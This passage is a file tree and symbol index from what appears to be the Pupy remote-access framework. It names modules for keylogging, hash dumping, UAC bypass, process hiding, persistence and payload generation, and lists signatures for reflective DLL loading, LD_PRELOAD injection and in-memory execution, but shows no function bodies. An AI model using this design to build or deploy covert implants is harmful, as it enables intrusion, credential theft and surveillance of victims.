│ │ │ ├── search.py │ │ │ │ ├── share_enum.py │ │ │ │ ├── smbspider.py │ │ │ │ ├── users.py │ │ │ │ └── zip.py │ │ │ ├── pyshell/ │ │ │ │ ├── PythonCompleter.py │ │ │ │ ├── __init__.py │ │ │ │ └── controller.py │ │ │ ├── pyuvproxy.py │ │ │ ├── rdesktop.py │ │ │ ├── scandir.py │ │ │ ├── screenshot.py │ │ │ ├── ssh.py │ │ │ ├── tasks.py │ │ │ ├── tcpdump.py │ │ │ ├── transfer.py │ │ │ ├── whole.py │ │ │ └── winerror.py │ │ ├── android/ │ │ │ └── pupydroid/ │ │ │ ├── __init__.py │ │ │ ├── apps.py │ │ │ ├── call.py │ │ │ ├── camera.py │ │ │ ├── contacts.py │ │ │ ├── gpsTracker.py │ │ │ ├── text_to_speech.py │ │ │ ├── utils.py │ │ │ └── vibrator.py │ │ ├── darwin/ │ │ │ ├── checkvm.py │ │ │ ├── hashdump.py │ │ │ └── keylogger.py │ │ ├── linux/ │ │ │ └── all/ │ │ │ ├── checkvm.py │ │ │ ├── fsutils_ext.py │ │ │ ├── hide_process.py │ │ │ ├── keylogger.py │ │ │ ├── linux_stealth.py │ │ │ ├── mapped.py │ │ │ ├── memexec.py │ │ │ ├── notify.py │ │ │ ├── persistence.py │ │ │ ├── readlogs.py │ │ │ ├── secretstorage/ │ │ │ │ ├── __init__.py │ │ │ │ ├── collection.py │ │ │ │ ├── defines.py │ │ │ │ ├── dhcrypto.py │ │ │ │ ├── exceptions.py │ │ │ │ ├── item.py │ │ │ │ └── util.py │ │ │ ├── services.py │ │ │ ├── ttyrec.py │ │ │ └── usniper.py │ │ ├── patches/ │ │ │ └── all/ │ │ │ └── scapy/ │ │ │ ├── __init__.py │ │ │ ├── all.py │ │ │ ├── asn1/ │ │ │ │ └── .ignore │ │ │ ├── compat.py │ │ │ ├── config.py │ │ │ ├── contrib/ │ │ │ │ └── .ignore │ │ │ ├── data.py │ │ │ ├── error.py │ │ │ ├── extlib.py │ │ │ ├── layers/ │ │ │ │ └── .ignore │ │ │ ├── main.py │ │ │ ├── modules/ │ │ │ │ ├── .ignore │ │ │ │ ├── __init__.py.include │ │ │ │ ├── six.py.include │ │ │ │ └── winpcapy.py.include │ │ │ └── tools/ │ │ │ └── .ignore │ │ ├── posix/ │ │ │ └── all/ │ │ │ ├── become.py │ │ │ ├── display.py │ │ │ ├── hashmon.py │ │ │ ├── mount.py │ │ │ ├── ptyshell.py │ │ │ ├── readlogs.py │ │ │ ├── readlogs_generic.py │ │ │ ├── sudo_alias.py │ │ │ └── uidle.py │ │ ├── src/ │ │ │ └── VideoCapture/ │ │ │ ├── LGPL.txt │ │ │ └── src/ │ │ │ ├── VideoCapture.py │ │ │ ├── fixhtml.py │ │ │ ├── helvB08.pil │ │ │ ├── helvetica-10.pil │ │ │ ├── mkdist.py │ │ │ ├── vidcap.dsp │ │ │ ├── vidcap.dsw │ │ │ └── vidcapmodule.cpp │ │ └── windows/ │ │ ├── all/ │ │ │ ├── checkvm.py │ │ │ ├── conpty.py │ │ │ ├── fsutils.py │ │ │ ├── fsutils_ext.py │ │ │ ├── isearch.py │ │ │ ├── junctions.py │ │ │ ├── netresources.py │ │ │ ├── ntfs_streams.py │ │ │ ├── outlook.py │ │ │ ├── pipecatcher.py │ │ │ ├── powerloader.py │ │ │ ├── powershell.py │ │ │ ├── ptyshell.py │ │ │ ├── pupwinutils/ │ │ │ │ ├── __init__.py │ │ │ │ ├── bypassuac_registry.py │ │ │ │ ├── bypassuac_token_imp.py │ │ │ │ ├── drives.py │ │ │ │ ├── getdomain.py │ │ │ │ ├── hookfuncs.py │ │ │ │ ├── keylogger.py │ │ │ │ ├── memexec.py │ │ │ │ ├── mouselogger.py │ │ │ │ ├── msgbox.py │ │ │ │ ├── processes.py │ │ │ │ ├── rdp.py │ │ │ │ ├── security.py │ │ │ │ ├── shellcode.py │ │ │ │ └── wdigest.py │ │ │ ├── readlogs.py │ │ │ ├── reg.py │ │ │ ├── uidle.py │ │ │ ├── winpty.py │ │ │ └── wql.py │ │ ├── amd64/ │ │ │ └── vidcap.pyd │ │ └── x86/ │ │ └── vidcap.pyd │ ├── payload_templates/ │ │ └── .keep │ ├── pupylib/ │ │ ├── PupyCategories.py │ │ ├── PupyClient.py │ │ ├── PupyClientInitializer.py │ │ ├── PupyCmd.py │ │ ├── PupyCompile.py │ │ ├── PupyCompleter.py │ │ ├── PupyConfig.py │ │ ├── PupyCredentials.py │ │ ├── PupyDnsCnc.py │ │ ├── PupyErrors.py │ │ ├── PupyJob.py │ │ ├── PupyLogger.py │ │ ├── PupyModule.py │ │ ├── PupyOffload.py │ │ ├── PupyOutput.py │ │ ├── PupyServer.py │ │ ├── PupyService.py │ │ ├── PupySignalHandler.py │ │ ├── PupyTriggers.py │ │ ├── PupyVersion.py │ │ ├── PupyWeb.py │ │ ├── PythonCompleter.py │ │ ├── __init__.py │ │ ├── conf.py │ │ ├── payloads/ │ │ │ ├── __init__.py │ │ │ ├── dependencies.py │ │ │ ├── dotnet.py │ │ │ ├── ps1_oneliner.py │ │ │ ├── py_oneliner.py │ │ │ └── rubber_ducky.py │ │ └── utils/ │ │ ├── __init__.py │ │ ├── arch.py │ │ ├── common.py │ │ ├── credentials.py │ │ ├── downloader.py │ │ ├── jarsigner.py │ │ ├── listener.py │ │ ├── obfuscate.py │ │ ├── pe.py │ │ ├── rpyc_utils.py │ │ └── term.py │ ├── scriptlets/ │ │ ├── __init__.py │ │ ├── daemonize.py │ │ ├── hide_argv.py │ │ ├── keylogger.py │ │ └── persistence.py │ ├── triggers/ │ │ ├── __init__.py │ │ ├── example_trigger.py │ │ └── notification.py │ └── webstatic/ │ ├── index.html │ ├── nginx_index.html │ └── rdesktop/ │ ├── index.html │ └── rdesktop.js ├── requirements.txt ├── services/ │ ├── echo/ │ │ └── main.go │ └── proxy/ │ ├── daemon.go │ ├── dns.go │ ├── generate.go │ ├── limits_linux.go │ ├── main.go │ ├── message.go │ ├── streams.go │ └── types.go ├── setup.py └── tox.ini
Showing preview only (392K chars total). Download the full file or copy to clipboard to get everything.
SYMBOL INDEX (5574 symbols across 506 files)
FILE: client/android_sources/pp.py
function main (line 4) | def main():
FILE: client/build_library_zip.py
function compile_py (line 73) | def compile_py(path):
FILE: client/common/7zTypes.h
type SRes (line 43) | typedef int SRes;
type WRes (line 47) | typedef unsigned WRes;
type WRes (line 49) | typedef int WRes;
type Byte (line 56) | typedef unsigned char Byte;
type Int16 (line 57) | typedef short Int16;
type UInt16 (line 58) | typedef unsigned short UInt16;
type Int32 (line 61) | typedef long Int32;
type UInt32 (line 62) | typedef unsigned long UInt32;
type Int32 (line 64) | typedef int Int32;
type UInt32 (line 65) | typedef unsigned int UInt32;
type Int64 (line 73) | typedef long Int64;
type UInt64 (line 74) | typedef unsigned long UInt64;
type __int64 (line 79) | typedef __int64 Int64;
type UInt64 (line 80) | typedef unsigned __int64 UInt64;
type Int64 (line 83) | typedef long long int Int64;
type UInt64 (line 84) | typedef unsigned long long int UInt64;
type UInt32 (line 91) | typedef UInt32 SizeT;
type SizeT (line 93) | typedef size_t SizeT;
type Bool (line 96) | typedef int Bool;
type IByteIn (line 129) | typedef struct
type IByteOut (line 134) | typedef struct
type ISeqInStream (line 139) | typedef struct
type ISeqOutStream (line 151) | typedef struct
type ESzSeek (line 158) | typedef enum
type ISeekInStream (line 165) | typedef struct
type ILookInStream (line 171) | typedef struct
type CLookToRead (line 194) | typedef struct
type CSecToLook (line 206) | typedef struct
type CSecToRead (line 214) | typedef struct
type ICompressProgress (line 222) | typedef struct
type ISzAlloc (line 229) | typedef struct
FILE: client/common/LzmaDec.c
function LzmaDec_DecodeReal (line 138) | static int MY_FAST_CALL LzmaDec_DecodeReal(CLzmaDec *p, SizeT limit, con...
function LzmaDec_WriteRem (line 513) | static void MY_FAST_CALL LzmaDec_WriteRem(CLzmaDec *p, SizeT limit)
function LzmaDec_DecodeReal2 (line 541) | static int MY_FAST_CALL LzmaDec_DecodeReal2(CLzmaDec *p, SizeT limit, co...
type ELzmaDummy (line 568) | typedef enum
function ELzmaDummy (line 576) | static ELzmaDummy LzmaDec_TryDummy(const CLzmaDec *p, const Byte *buf, S...
function IF_BIT_0_CHECK (line 689) | IF_BIT_0_CHECK(probLen)
function IF_BIT_0_CHECK (line 700) | IF_BIT_0_CHECK(probLen)
function LzmaDec_InitDicAndState (line 767) | void LzmaDec_InitDicAndState(CLzmaDec *p, Bool initDic, Bool initState)
function LzmaDec_Init (line 783) | void LzmaDec_Init(CLzmaDec *p)
function LzmaDec_InitStateReal (line 789) | static void LzmaDec_InitStateReal(CLzmaDec *p)
function SRes (line 801) | SRes LzmaDec_DecodeToDic(CLzmaDec *p, SizeT dicLimit, const Byte *src, S...
function SRes (line 936) | SRes LzmaDec_DecodeToBuf(CLzmaDec *p, Byte *dest, SizeT *destLen, const ...
function LzmaDec_FreeProbs (line 976) | void LzmaDec_FreeProbs(CLzmaDec *p, ISzAlloc *alloc)
function LzmaDec_FreeDict (line 982) | static void LzmaDec_FreeDict(CLzmaDec *p, ISzAlloc *alloc)
function LzmaDec_Free (line 988) | void LzmaDec_Free(CLzmaDec *p, ISzAlloc *alloc)
function SRes (line 994) | SRes LzmaProps_Decode(CLzmaProps *p, const Byte *data, unsigned size)
function SRes (line 1020) | static SRes LzmaDec_AllocateProbs2(CLzmaDec *p, const CLzmaProps *propNe...
function SRes (line 1034) | SRes LzmaDec_AllocateProbs(CLzmaDec *p, const Byte *props, unsigned prop...
function SRes (line 1043) | SRes LzmaDec_Allocate(CLzmaDec *p, const Byte *props, unsigned propsSize...
function SRes (line 1075) | SRes LzmaDecode(Byte *dest, SizeT *destLen, const Byte *src, SizeT *srcLen,
FILE: client/common/LzmaDec.h
type CLzmaProps (line 26) | typedef struct _CLzmaProps
type CLzmaDec (line 48) | typedef struct
type ELzmaFinishMode (line 77) | typedef enum
type ELzmaStatus (line 98) | typedef enum
FILE: client/common/Python-dynload.c
type dependency_t (line 6) | typedef struct dependency {
type py_imports (line 13) | struct py_imports
function HMODULE (line 50) | static HMODULE xz_dynload(const char *libname, const char *xzbuf, size_t...
function PyObject (line 82) | PyObject* load_stdlib() {
function last_chr_offt (line 106) | static
function BOOL (line 126) | BOOL initialize_python(int argc, char *argv[], BOOL is_shared_object) {
function PyObject (line 336) | static
function PyObject (line 634) | static PyObject* py_module_from_stdlib(PyObject *py_stdlib, const char *...
function py_clear_sys_list (line 756) | void py_clear_sys_list(const char *name)
function py_clear_sys_dict (line 785) | void py_clear_sys_dict(const char *name)
function run_pupy (line 807) | void run_pupy() {
function deinitialize_python (line 1088) | void deinitialize_python() {
function Py_RefCnt (line 1094) | int Py_RefCnt(const PyObject *object) {
FILE: client/common/Python-dynload.h
type PyTryBlock (line 17) | typedef struct {
type PyObject (line 23) | typedef PyObject *(*PyCFunction)(PyObject *, PyObject *);
type PyGILState_STATE (line 25) | typedef
type PyMethodDef (line 28) | typedef struct {
type py_imports (line 35) | struct py_imports {
type BOOL (line 51) | typedef int BOOL;
type py_imports (line 100) | struct py_imports
type PyCodeObject (line 113) | typedef struct {
type PyInterpreterState (line 136) | typedef struct _is {
type _frame (line 154) | struct _frame
type PyThreadState (line 156) | typedef struct _ts {
type PyFrameObject (line 191) | typedef struct _frame {
FILE: client/common/Python-stacktrace.c
type PyGILState_STATE (line 8) | typedef PyGILState_STATE (*PyGILState_Ensure_t)(void);
type PyThreadState (line 10) | typedef PyThreadState* (*PyGILState_GetThisThreadState_t)(void);
function Py_GetCurrentThreadStackTrace (line 13) | static
FILE: client/common/debug.c
function dprint (line 5) | int dprint(const char *fmt, ...) {
function dwprint (line 21) | int dwprint(const wchar_t *fmt, ...) {
function set_debug_log (line 37) | void set_debug_log(const char *dest) {
FILE: client/common/jni.h
type jboolean (line 57) | typedef unsigned char jboolean;
type jchar (line 58) | typedef unsigned short jchar;
type jshort (line 59) | typedef short jshort;
type jfloat (line 60) | typedef float jfloat;
type jdouble (line 61) | typedef double jdouble;
type jint (line 63) | typedef jint jsize;
function class (line 67) | class _jobject {}
function class (line 68) | class _jclass : public _jobject {}
function class (line 69) | class _jthrowable : public _jobject {}
function class (line 70) | class _jstring : public _jobject {}
function class (line 71) | class _jarray : public _jobject {}
function class (line 72) | class _jbooleanArray : public _jarray {}
function class (line 73) | class _jbyteArray : public _jarray {}
function class (line 74) | class _jcharArray : public _jarray {}
function class (line 75) | class _jshortArray : public _jarray {}
function class (line 76) | class _jintArray : public _jarray {}
function class (line 77) | class _jlongArray : public _jarray {}
function class (line 78) | class _jfloatArray : public _jarray {}
function class (line 79) | class _jdoubleArray : public _jarray {}
function class (line 80) | class _jobjectArray : public _jarray {}
type _jobject (line 82) | typedef _jobject *jobject;
type _jclass (line 83) | typedef _jclass *jclass;
type _jthrowable (line 84) | typedef _jthrowable *jthrowable;
type _jstring (line 85) | typedef _jstring *jstring;
type _jarray (line 86) | typedef _jarray *jarray;
type _jbooleanArray (line 87) | typedef _jbooleanArray *jbooleanArray;
type _jbyteArray (line 88) | typedef _jbyteArray *jbyteArray;
type _jcharArray (line 89) | typedef _jcharArray *jcharArray;
type _jshortArray (line 90) | typedef _jshortArray *jshortArray;
type _jintArray (line 91) | typedef _jintArray *jintArray;
type _jlongArray (line 92) | typedef _jlongArray *jlongArray;
type _jfloatArray (line 93) | typedef _jfloatArray *jfloatArray;
type _jdoubleArray (line 94) | typedef _jdoubleArray *jdoubleArray;
type _jobjectArray (line 95) | typedef _jobjectArray *jobjectArray;
type _jobject (line 99) | struct _jobject
type _jobject (line 101) | struct _jobject
type jobject (line 102) | typedef jobject jclass;
type jobject (line 103) | typedef jobject jthrowable;
type jobject (line 104) | typedef jobject jstring;
type jobject (line 105) | typedef jobject jarray;
type jarray (line 106) | typedef jarray jbooleanArray;
type jarray (line 107) | typedef jarray jbyteArray;
type jarray (line 108) | typedef jarray jcharArray;
type jarray (line 109) | typedef jarray jshortArray;
type jarray (line 110) | typedef jarray jintArray;
type jarray (line 111) | typedef jarray jlongArray;
type jarray (line 112) | typedef jarray jfloatArray;
type jarray (line 113) | typedef jarray jdoubleArray;
type jarray (line 114) | typedef jarray jobjectArray;
type jobject (line 118) | typedef jobject jweak;
type jvalue (line 120) | typedef union jvalue {
type _jfieldID (line 132) | struct _jfieldID
type _jfieldID (line 133) | struct _jfieldID
type _jmethodID (line 135) | struct _jmethodID
type _jmethodID (line 136) | struct _jmethodID
type jobjectRefType (line 139) | typedef enum _jobjectType {
type JNINativeMethod (line 180) | typedef struct {
type JNINativeInterface_ (line 190) | struct JNINativeInterface_
type JNIEnv_ (line 192) | struct JNIEnv_
type JNIEnv_ (line 195) | typedef JNIEnv_ JNIEnv;
type JNINativeInterface_ (line 197) | struct JNINativeInterface_
type JNIInvokeInterface_ (line 204) | struct JNIInvokeInterface_
type JavaVM_ (line 206) | struct JavaVM_
type JavaVM_ (line 209) | typedef JavaVM_ JavaVM;
type JNIInvokeInterface_ (line 211) | struct JNIInvokeInterface_
type JNINativeInterface_ (line 214) | struct JNINativeInterface_ {
type JNIEnv_ (line 782) | struct JNIEnv_ {
type JavaVMOption (line 1863) | typedef struct JavaVMOption {
type JavaVMInitArgs (line 1868) | typedef struct JavaVMInitArgs {
type JavaVMAttachArgs (line 1876) | typedef struct JavaVMAttachArgs {
type JNIInvokeInterface_ (line 1890) | struct JNIInvokeInterface_ {
type JavaVM_ (line 1906) | struct JavaVM_ {
FILE: client/common/jni_md.h
type jint (line 41) | typedef int jint;
type jlong (line 43) | typedef long jlong;
type jlong (line 45) | typedef long long jlong;
type jbyte (line 48) | typedef signed char jbyte;
FILE: client/common/jni_on_load.c
type __thread_name_and_classloader_to_dict_ctx (line 18) | struct __thread_name_and_classloader_to_dict_ctx {
function JNIEnv (line 33) | static JNIEnv*
function jint (line 65) | static jint Py_new__thread_name_and_classloader_to_dict_ctx(
function PyObject (line 141) | static
type jint (line 151) | typedef jint (*thread_enum_cb)(JNIEnv *env, jobject Thread, void *data);
function jint (line 153) | static jint jvm_for_each_thread(JNIEnv *env, thread_enum_cb callback, vo...
function jint (line 246) | static jint __thread_class_loader_name_and_class(
function jint (line 306) | static jint __find_preferred_classloader_finder(JNIEnv *env, jobject thr...
function jobject (line 374) | static jobject __find_preferred_classloader(JNIEnv *env) {
function PyObject (line 410) | static
function jclass (line 436) | static jclass get_thread_class(JNIEnv *env) {
function jint (line 452) | static jint call_method(
function jint (line 498) | static jint call_class_method(
function jint (line 517) | static jint call_instance_method(
function PyObject (line 546) | static PyObject* Py_JString_to_PyString(JNIEnv *env, jobject jstr) {
function jint (line 566) | static jint __thread_name_and_classloader_to_dict(JNIEnv *env, jobject t...
function PyObject (line 612) | static
function PyObject (line 643) | static
function PyObject (line 675) | static
function PyObject (line 707) | static
function PyObject (line 715) | static
function PyObject (line 723) | static
function jclass (line 783) | static jclass JNICALL __multi_FindClass(JNIEnv *env, const char *name) {
function PyObject (line 847) | static
function setup_jvm_class (line 899) | void setup_jvm_class(void) {
function __jni_deinit (line 913) | static
function JNICALL (line 923) | JNICALL
FILE: client/common/lzmaunpack.c
function _lzfree (line 20) | static void _lzfree(void *p, void *address) { p = p; free(address); }
function charToUInt (line 29) | static unsigned int charToUInt(const char *data) {
function PyObject (line 88) | static PyObject *PyObject_lzmaunpack(const char *data, size_t size) {
function PyObject (line 108) | static PyObject *PyDict_lzmaunpack(const char *data, size_t size) {
FILE: client/common/uthash.h
type UT_hash_bucket (line 1162) | typedef struct UT_hash_bucket {
type UT_hash_table (line 1186) | typedef struct UT_hash_table {
type UT_hash_handle (line 1219) | typedef struct UT_hash_handle {
FILE: client/gen_library_compressed_string.py
function get_encoded_library_string (line 12) | def get_encoded_library_string(filepath, out):
FILE: client/pyoxidizer-build/lib/http_parser/_socketio.py
function _recv_into_sock_py26 (line 14) | def _recv_into_sock_py26(sock, buf):
class SocketIO (line 27) | class SocketIO(io.RawIOBase):
method __init__ (line 44) | def __init__(self, sock, mode):
method readinto (line 56) | def readinto(self, b):
method write (line 82) | def write(self, b):
method readable (line 98) | def readable(self):
method writable (line 103) | def writable(self):
method fileno (line 108) | def fileno(self):
method name (line 115) | def name(self):
method mode (line 122) | def mode(self):
method close (line 125) | def close(self):
method _checkClosed (line 134) | def _checkClosed(self, msg=None):
FILE: client/pyoxidizer-build/lib/http_parser/http.py
class NoMoreData (line 20) | class NoMoreData(Exception):
class ParserError (line 25) | class ParserError(Exception):
class BadStatusLine (line 28) | class BadStatusLine(Exception):
class HttpStream (line 31) | class HttpStream(object):
method __init__ (line 38) | def __init__(self, stream, kind=HTTP_BOTH, decompress=False,
method _check_headers_complete (line 50) | def _check_headers_complete(self):
method _wait_status_line (line 66) | def _wait_status_line(self, cond):
method _wait_on_url (line 84) | def _wait_on_url(self):
method _wait_on_status (line 87) | def _wait_on_status(self):
method _wait_on_method (line 90) | def _wait_on_method(self):
method url (line 93) | def url(self):
method path (line 98) | def path(self):
method query_string (line 104) | def query_string(self):
method fragment (line 109) | def fragment(self):
method version (line 114) | def version(self):
method status_code (line 118) | def status_code(self):
method status (line 123) | def status(self):
method method (line 130) | def method(self):
method headers (line 135) | def headers(self):
method should_keep_alive (line 143) | def should_keep_alive(self):
method is_chunked (line 149) | def is_chunked(self):
method wsgi_environ (line 154) | def wsgi_environ(self, initial=None):
method body_file (line 162) | def body_file(self, buffering=None, binary=True, encoding=None,
method body_string (line 182) | def body_string(self, binary=True, encoding=None, errors=None,
method __iter__ (line 188) | def __iter__(self):
method __next__ (line 191) | def __next__(self):
FILE: client/pyoxidizer-build/lib/http_parser/pyparser.py
class InvalidRequestLine (line 31) | class InvalidRequestLine(Exception):
class InvalidHeader (line 34) | class InvalidHeader(Exception):
class InvalidChunkSize (line 37) | class InvalidChunkSize(Exception):
class HttpParser (line 40) | class HttpParser(object):
method __init__ (line 42) | def __init__(self, kind=2, decompress=False):
method get_version (line 79) | def get_version(self):
method get_method (line 82) | def get_method(self):
method get_status_code (line 85) | def get_status_code(self):
method get_url (line 88) | def get_url(self):
method get_path (line 91) | def get_path(self):
method get_query_string (line 94) | def get_query_string(self):
method get_fragment (line 97) | def get_fragment(self):
method get_headers (line 100) | def get_headers(self):
method get_wsgi_environ (line 103) | def get_wsgi_environ(self):
method recv_body (line 133) | def recv_body(self):
method recv_body_into (line 140) | def recv_body_into(self, barray):
method is_upgrade (line 155) | def is_upgrade(self):
method is_headers_complete (line 162) | def is_headers_complete(self):
method is_partial_body (line 166) | def is_partial_body(self):
method is_message_begin (line 170) | def is_message_begin(self):
method is_message_complete (line 174) | def is_message_complete(self):
method is_chunked (line 178) | def is_chunked(self):
method should_keep_alive (line 182) | def should_keep_alive(self):
method execute (line 192) | def execute(self, data, length):
method _parse_firstline (line 257) | def _parse_firstline(self, line):
method _parse_response_line (line 274) | def _parse_response_line(self, line):
method _parse_request_line (line 294) | def _parse_request_line(self, line):
method _parse_headers (line 326) | def _parse_headers(self, data):
method _parse_body (line 404) | def _parse_body(self):
method _parse_chunk_size (line 465) | def _parse_chunk_size(self, data):
method _parse_trailers (line 481) | def _parse_trailers(self, data):
FILE: client/pyoxidizer-build/lib/http_parser/reader.py
class HttpBodyReader (line 13) | class HttpBodyReader(RawIOBase):
method __init__ (line 16) | def __init__(self, http_stream):
method readinto (line 20) | def readinto(self, b):
method readable (line 55) | def readable(self):
method close (line 58) | def close(self):
class IterReader (line 64) | class IterReader(RawIOBase):
method __init__ (line 66) | def __init__(self, iterable):
method readinto (line 70) | def readinto(self, b):
method readable (line 86) | def readable(self):
method close (line 89) | def close(self):
class StringReader (line 95) | class StringReader(IterReader):
method __init__ (line 99) | def __init__(self, string):
class SocketReader (line 108) | class SocketReader(SocketIO):
method __init__ (line 109) | def __init__(self, sock):
FILE: client/pyoxidizer-build/lib/http_parser/util.py
function b (line 17) | def b(s):
function bytes_to_str (line 20) | def bytes_to_str(b):
function b (line 32) | def b(s):
function bytes_to_str (line 35) | def bytes_to_str(s):
class X (line 48) | class X(object):
method __len__ (line 49) | def __len__(self):
class IOrderedDict (line 61) | class IOrderedDict(dict, MutableMapping):
method __init__ (line 73) | def __init__(self, *args, **kwds):
method __setitem__ (line 92) | def __setitem__(self, key, value, PREV=0, NEXT=1, dict_setitem=dict.__...
method __delitem__ (line 104) | def __delitem__(self, key, PREV=0, NEXT=1, dict_delitem=dict.__delitem...
method __getitem__ (line 118) | def __getitem__(self, key, dict_getitem=dict.__getitem__):
method __contains__ (line 123) | def __contains__(self, key):
method __iter__ (line 126) | def __iter__(self, NEXT=1, KEY=2):
method __reversed__ (line 135) | def __reversed__(self, PREV=0, KEY=2):
method __reduce__ (line 144) | def __reduce__(self):
method clear (line 155) | def clear(self):
method get (line 166) | def get(self, key, default=None):
method popitem (line 179) | def popitem(self, last=True):
method __repr__ (line 190) | def __repr__(self):
method copy (line 196) | def copy(self):
method fromkeys (line 201) | def fromkeys(cls, iterable, value=None):
method __eq__ (line 211) | def __eq__(self, other):
method __del__ (line 221) | def __del__(self):
FILE: client/sources-linux-py3/Python-dynload-os.h
type PyPreConfig (line 27) | typedef struct PyPreConfig {
type PyStatus (line 41) | typedef struct {
type PyWideStringList (line 52) | typedef struct {
type PyConfig (line 59) | typedef struct PyConfig {
FILE: client/sources-linux-py3/build_c_ext.py
function main (line 8) | def main():
FILE: client/sources-linux-py3/compat/bits/sched.h
type sched_param (line 73) | struct sched_param
type __sched_param (line 104) | struct __sched_param
type __CPU_MASK_TYPE (line 122) | typedef __CPU_MASK_TYPE __cpu_mask;
type cpu_set_t (line 129) | typedef struct
function __BEGIN_DECLS (line 205) | __BEGIN_DECLS
function __sched_cpucount (line 212) | static inline
function __sched_cpufree (line 251) | static inline
FILE: client/sources-linux-py3/compat/bits/stat.h
type timespec (line 25) | struct timespec
type stat (line 46) | struct stat
type stat64 (line 88) | struct stat64
FILE: client/sources-linux-py3/compat/ifaddrs.h
type ifaddrs (line 12) | struct ifaddrs
type ifaddrs (line 43) | struct ifaddrs
type ifaddrs (line 44) | struct ifaddrs
function getifaddrs (line 46) | static int getifaddrs (struct ifaddrs **__ifap) {
function freeifaddrs (line 56) | static void freeifaddrs (struct ifaddrs *__ifa) {
FILE: client/sources-linux-py3/compat/sched.h
type __pid_t (line 37) | typedef __pid_t pid_t;
type sched_param (line 51) | struct sched_param
type sched_param (line 55) | struct sched_param
type sched_param (line 59) | struct sched_param
type timespec (line 74) | struct timespec
function sched_setaffinity (line 124) | static inline
function sched_getaffinity (line 130) | static inline
FILE: client/sources-linux-py3/daemonize.c
function pid_t (line 64) | pid_t daemonize(int *main_argc, char ***main_argv, char *env[], bool exi...
FILE: client/sources-linux-py3/decompress.c
function decompress (line 8) | int decompress(int fd, const char *buf, size_t size) {
FILE: client/sources-linux-py3/ld_hooks.c
type stat (line 23) | struct stat
type stat (line 24) | struct stat
type stat64 (line 25) | struct stat64
type stat64 (line 26) | struct stat64
function set_pathmap_callback (line 41) | void set_pathmap_callback(cb_hooks_t cb)
function export (line 52) | export int __lxstat(int ver, const char * path, struct stat* stat_buf)
function export (line 67) | export int __lxstat64(int ver, const char * path, struct stat64* stat_buf)
function export (line 81) | export int __xstat(int ver, const char * path, struct stat* stat_buf)
function export (line 94) | export int __xstat64(int ver, const char * path, struct stat64* stat_buf)
function export (line 107) | export int open(const char *pathname, int flags, ...)
function export (line 131) | export int open64(const char *pathname, int flags, ...)
function export (line 155) | export int openat(int dirfd, const char *pathname, int flags, ...)
function export (line 179) | export int openat64(int dirfd, const char *pathname, int flags, ...)
function export (line 203) | export FILE *fopen(const char *pathname, const char *mode)
function export (line 217) | export FILE *fopen64(const char *pathname, const char *mode)
function _ld_hooks_main (line 234) | void _ld_hooks_main(int argc, char *argv[], char *envp[])
FILE: client/sources-linux-py3/main_exe.c
function main (line 11) | int main(int argc, char *argv[], char *env[]) {
function setup_jvm_class (line 22) | void setup_jvm_class(void) {}
FILE: client/sources-linux-py3/main_so.c
type link_map (line 43) | struct link_map
function unloader (line 61) | static void
function __handle_exit (line 68) | static void
function __atexit (line 82) | static void
function __on_exit (line 88) | static void
function _pupy_main (line 94) | static void
FILE: client/sources-linux-py3/memfd.h
function pupy_memfd_supported (line 41) | inline static bool pupy_memfd_supported()
function pupy_memfd_create (line 54) | inline static int pupy_memfd_create(char *path, unsigned int path_size)
function is_memfd_path (line 85) | inline static bool is_memfd_path(const char *path)
FILE: client/sources-linux-py3/pupy.c
function PyObject (line 102) | static PyObject *Py_get_arch(PyObject *self, PyObject *args)
function PyObject (line 115) | static PyObject *Py_ld_preload_inject_dll(PyObject *self, PyObject *args)
function PyObject (line 189) | static PyObject *Py_reflective_inject_dll(PyObject *self, PyObject *args)
function PyObject (line 249) | static PyObject *Py_memfd_is_supported(PyObject *self, PyObject *args)
function PyObject (line 255) | static PyObject *Py_memfd_create(PyObject *self, PyObject *args, PyObjec...
function PyObject (line 299) | static PyObject *Py_load_dll(PyObject *self, PyObject *args)
function PyObject (line 327) | static PyObject *
function PyObject (line 412) | static PyObject *Py_mexec(PyObject *self, PyObject *args)
function PyObject (line 472) | static PyObject *Py_is_shared_object(PyObject *self, PyObject *args)
type PyModuleDef (line 501) | struct PyModuleDef
function FUNC_EXPORT (line 522) | FUNC_EXPORT PyInit__pupy(void) {
FILE: client/sources-linux-py3/pupy_load.c
function mainThread (line 38) | uint32_t mainThread(int argc, char *argv[], bool so)
FILE: client/sources-linux-py3/tmplibrary.c
function drop_library (line 119) | int drop_library(char *path, size_t path_size, const char *buffer, size_...
function set_cloexec_flag (line 185) | static inline int
function pid_t (line 194) | pid_t memexec(const char *buffer, size_t size, const char* const* argv, ...
function remap (line 355) | int remap(const char *path) {
function remap (line 487) | int remap(const char *path) {
type libname_list (line 511) | struct libname_list
type libname_list (line 513) | struct libname_list {
type link_map_private (line 519) | struct link_map_private
type link_map_private (line 522) | struct link_map_private {
type link_map_private (line 589) | struct link_map_private
function _pmparser_split_line (line 679) | void _pmparser_split_line(
FILE: client/sources-windows-py3/GetProcAddressR.c
function FARPROC (line 32) | FARPROC WINAPI GetProcAddressR( HANDLE hModule, LPCSTR lpProcName )
FILE: client/sources-windows-py3/LoadLibraryR.c
function DWORD (line 33) | DWORD Rva2Offset( DWORD dwRva, UINT_PTR uiBaseAddress, BOOL is64 )
function DWORD (line 72) | DWORD GetReflectiveLoaderOffset( const VOID * lpReflectiveDllBuffer )
function HMODULE (line 165) | HMODULE WINAPI LoadLibraryR( LPVOID lpBuffer, DWORD dwLength, LPVOID lpP...
function HANDLE (line 221) | HANDLE WINAPI LoadRemoteLibraryR( HANDLE hProcess, LPVOID lpBuffer, DWOR...
FILE: client/sources-windows-py3/MemoryModule.c
function NTSTATUS (line 61) | static NTSTATUS WINAPI RtlGetVersion(OSVERSIONINFOEXW *infow) {
type FUNCHASH (line 75) | typedef struct {
type FUNCIDX (line 81) | typedef struct {
type ImportHooks (line 87) | typedef struct {
type DllHooks (line 92) | typedef struct {
type MEMORYMODULE (line 97) | typedef struct {
type SECTIONFINALIZEDATA (line 126) | typedef struct {
function OutputLastError (line 138) | static void
function BOOL (line 153) | static BOOL
function DWORD (line 217) | static DWORD
function BOOL (line 230) | static BOOL
function BOOL (line 283) | static BOOL
function BOOL (line 339) | static BOOL
function BOOL (line 367) | static BOOL
function FARPROC (line 426) | static FARPROC
function BOOL (line 449) | static BOOL
function BOOL (line 466) | static
function BOOL (line 473) | static
function ImportHooks (line 504) | static
function BOOL (line 519) | static BOOL
function BOOL (line 699) | BOOL WINAPI RegisterExceptionTable(PMEMORYMODULE pModule)
function DWORD (line 737) | static
function BOOL (line 748) | static
